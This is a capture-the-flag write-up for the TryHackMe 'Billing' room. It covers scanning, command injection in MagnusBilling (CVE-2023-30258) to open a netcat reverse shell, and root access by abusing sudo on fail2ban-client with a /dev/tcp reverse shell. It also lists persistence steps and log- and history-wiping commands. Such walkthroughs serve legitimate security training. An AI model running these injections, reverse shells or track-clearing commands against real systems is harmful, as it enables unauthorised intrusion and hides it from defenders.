THM:billing
billing
URL: https://tryhackme.com/room/billing Easy
PHASE 1: Reconnaissance
Description of the room:
Some mistakes can be costly. Note: Bruteforcing is out of scope for this room.
PHASE 2: Scanning & Enumeration
Running: nmap
Ran the following:
nmap -sC -sV x.x.x.x
Interesting ports found to be open:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)| ssh-hostkey:| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)80/tcp open http Apache httpd 2.4.56 ((Debian))|_http-server-header: Apache/2.4.56 (Debian)| http-title: MagnusBilling|_Requested resource was http://10.10.44.189/mbilling/| http-robots.txt: 1 disallowed entry|_/mbilling/3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
Also see: nmap.log
Running: gobuster
Ran the following:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://x.x.x.x
And it didn’t find ANY subfolders.
Also see: gobuster.log
Running: nikto
Ran the following:
nikto -h x.x.x.x -p 80
Not much of anything interesting info found on :80
:
+ Server: Apache/2.4.56 (Debian)+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/+ Root page / redirects to: ./mbilling+ No CGI Directories found (use '-C all' to force check all possible dirs)+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt+ 8075 requests: 0 error(s) and 3 item(s) reported on remote host
Also see: nikto.log
MagnusBilling
When you navigate to the website, you see MagnusBilling as the product name. So, I did run:
searchsploit magnus
And that did have a hit.
----------------------------------------------------- --------------------------------- Exploit Title | Path----------------------------------------------------- ---------------------------------MagnusSolution magnusbilling 7.3.0 - Command Injecti | multiple/webapps/52170.txt----------------------------------------------------- ---------------------------------Shellcodes: No Results
There is CVE-2023-30258. In short, the icepay.php
page accepts a democ
query string argument where it runs arbitrary commands (RCE). So, we should be able to get a reverse shell that way, in theory?
PHASE 3: Gaining Access
I set up a NetCat listener on port :8000
to catch the reverse shell:
nv -lvnp 8000
From my workstation still, with Burp, cURL, or even in the browser, craft a URL like this:
http://x.x.x.x/mbilling/lib/icepay/icepay.php?democ=testfile; nc <MY_WS_IP> 8000 -e /bin/sh &
When I initially tried this it would connect and immediately disconnect. So, I appended the &
to kick off the NetCat reverse shell process in the background. And voila, we have a connnection! Terrible quality - we don’t see a prompt, but type pwd
, id
, or whoami
we can see we have a shell as the unprivileged asterisk
account.
Unprivileged Access
We have a rudimentary connection, so let’s try to upgrade it:
python3 -c "import pty; pty.spawn('/bin/bash')"
Do CTRL+Z, then type:
stty raw -echo ; fg
That will give you a more stable prompt. It’s not as good as an SSH session, but it’s better than raw input/output. I found that I couldn’t use clear
because the TERM
environment variable is still set to dumb
. So, we can also upgrade the terminal capabilities with:
export TERM=vt100
We know from the /etc/passwd
file that the asterisk
account doesn’t have a home directory:
asterisk:x:1001:1001:Asterisk PBX:/var/lib/asterisk:/sbin/nologin
However still, one of the first places I’ll go and look is in /home/
to see if we can get other usernames and see if there are any files that we can see. And sure enough, we can see a /home/magnus/
folder, and in there is the user.txt
that we need to partially solve the room!
asterisk@Billing:/home/magnus$ ls -ltotal 36drwx------ 2 magnus magnus 4096 Mar 27 2024 Desktopdrwx------ 2 magnus magnus 4096 Mar 27 2024 Documentsdrwx------ 2 magnus magnus 4096 Mar 27 2024 Downloadsdrwx------ 2 magnus magnus 4096 Mar 27 2024 Musicdrwx------ 2 magnus magnus 4096 Mar 27 2024 Picturesdrwx------ 2 magnus magnus 4096 Mar 27 2024 Publicdrwx------ 2 magnus magnus 4096 Mar 27 2024 Templatesdrwx------ 2 magnus magnus 4096 Mar 27 2024 Videos-rw-r--r-- 1 magnus magnus 38 Mar 27 2024 user.txt
Privilege Escalation
One of the first places to look is to run sudo -l
to list any sudo
privileges that we have:
Matching Defaults entries for asterisk on Billing: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk: Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on Billing: (ALL) NOPASSWD: /usr/bin/fail2ban-client
OK, so it looks like if we can somehow exploit fail2ban-client
, then we should be able to get PE.
Before we move on, let’s set up NetCat on our workstation to listen on port :9000
for the incoming reverse shell:
nc -lvnp 9000
Create a Custom Jail
Since we have sudo
access to fail2ban
, we’re going to just create an empty “jail”, and what that jail does when it starts up is - connect to my workstation with a reverse shell. Since fail2ban
is running as the root
user, that means that will be a shell running as the root
user.
# Create a new jailsudo fail2ban-client add myjail tcp \ filter sshd \ logpath /var/log/auth.log \ maxretry 3 \ findtime 600 \ bantime 3600
# Set a default action (required, before we can override it)sudo fail2ban-client set myjail addaction iptables-multiport
# Then, we can override the "actionstart" to kick off our reverse shelllsudo fail2ban-client set myjail \ action iptables-multiport \ actionstart "/bin/bash -c 'bash -i >& /dev/tcp/<MY_WS_IP>/9000 0>&1'"
Start the Jail. Pop a shell!
Once defined, we just need to start the jail:
# Start the jail to trigger the reverse shellsudo fail2ban-client start myjail
Immediately once the jail starts, it will execute the reverse shell and connect back to the Netcat listener on my workstation.
Now that we have a root
prompt, we can navigate to /root/root.txt
to get the flag to finish this room.
PHASE 4: Maintaining Access
This is a test/CTF machine, so this is out of scope. However, in a Red Team scenario, we could:
- Add SSH key to
/root/.ssh/authorized_keys
- Create a privileged account that wouldn’t draw attention (ex:
operations
) or an unprivileged account and give itsudo
access via group or directly in the/etc/sudoers
file. - Install some other backdoor or service.
PHASE 5: Clearing Tracks
This is a test machine. However, in a Red Team scenario, we could:
Delete relevant logs from /var/log/
- although that might draw attention.
rm -Rf /var/log/*
Search and replace our IP address in all logs via:
find /var/log -name "*" -exec sed -i 's/10.10.2.14/127.0.0.1/g' {} \;
Wipe bash history for any accounts we used via:
cat /dev/null > /root/.bash_history
cat /dev/null > /home/merlin/.bash_history
cat /dev/null > /home/skyfrick/.bash_history
Summary
Completed: [2025-05-12 14:30
]